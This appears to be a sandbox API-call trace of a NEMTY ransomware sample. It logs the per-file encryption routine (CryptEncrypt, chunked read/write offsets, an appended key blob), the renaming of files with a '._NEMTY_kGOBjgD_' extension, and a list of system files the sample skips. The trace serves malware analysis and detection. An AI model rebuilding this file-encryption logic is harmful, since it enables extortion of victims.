WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f943e0 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0092.500] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0092.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0092.500] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943e0 | out: hHeap=0x4f90000) returned 1 [0092.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0092.501] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.501] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94328 [0092.501] Sleep (dwMilliseconds=0x5) [0092.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeac8de70, dwHighDateTime=0x1d561e7)) [0092.506] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeac8de70, dwHighDateTime=0x1d561e7)) [0092.506] GetLastError () returned 0x5 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0092.506] GetLastError () returned 0x5 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0092.506] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0092.506] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340110 [0092.506] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340110, pcchString=0x653e91c | out: pszString="+9jxvFjgrnAVMLLEoiAKwBiBopVdkjkZOkh0HDfGpChqF5tytjsAuf0XmCZRZ+qG\r\nBt82+36zRFN99RxzmFzwXDYuV32UkQ/NV12REazi/3HbX4SnscpVCMgqt4VjKLLH\r\nLESWuBKFVTCZ35WMS5M54/qVuuh+/GWd+IplzZROcXNFkJs8hV4Y/uL63a89v1PF\r\np8HUqbLGt4waJqMznK/Ox93RNrKIB7c1BqCvxhXjzSNBPK/fcK7hJ7AqNDcZKWRX\r\np9cuJXzOTg952ciNlK4g3LzDSKYKvHSrtqI7peBDNFnOApdYwdISCXmj2kY2QlhQ\r\nNSH+F0iPQibasaJQLAw7fw==\r\n", pcchString=0x653e91c) returned 1 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0092.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340110 [0092.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0092.506] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0092.507] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0092.507] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0092.507] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.507] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.516] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.516] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.516] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.525] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.526] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.526] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.526] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.535] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.535] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.535] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.544] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.544] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.544] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.554] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.563] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.573] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.573] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.573] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.592] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.607] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.607] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.607] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0092.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.613] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.613] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.614] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340110, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0092.614] CloseHandle (hObject=0xffffffff) returned 0 [0092.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340280 [0092.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0092.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0092.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0092.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0092.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0092.614] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6340410 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.614] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png._nemty_kgobjgd_")) returned 0 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340280 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0092.614] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0092.614] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0092.614] lstrcmpiW (lpString1="photograph.png", lpString2=".") returned 1 [0092.614] lstrcmpiW (lpString1="photograph.png", lpString2="..") returned 1 [0092.614] lstrcmpiW (lpString1="photograph.png", lpString2="...") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="windows") returned -1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="$RECYCLE.BIN") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="rsa") returned -1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="NTDETECT.COM") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="ntldr") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="MSDOS.SYS") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="IO.SYS") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="boot.ini") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="boot.ini") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="AUTOEXEC.BAT") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="ntuser.dat") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="desktop.ini") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="CONFIG.SYS") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="RECYCLER") returned -1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="BOOTSECT.BAK") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="bootmgr") returned 1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="programdata") returned -1 [0092.615] lstrcmpiW (lpString1="photograph.png", lpString2="appdata") returned 1 [0092.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photograph.png", lpUsedDefaultChar=0x0) returned 14 [0092.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photograph.png", lpUsedDefaultChar=0x0) returned 14 [0092.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0092.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photograph.png", lpUsedDefaultChar=0x0) returned 14 [0092.615] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.615] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0092.615] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0092.616] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photograph.png", lpUsedDefaultChar=0x0) returned 14 [0092.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0092.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0092.616] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0092.616] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0092.616] Sleep (dwMilliseconds=0x5) [0092.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeadbe970, dwHighDateTime=0x1d561e7)) [0092.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeadbe970, dwHighDateTime=0x1d561e7)) [0092.631] GetLastError () returned 0x5 [0092.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 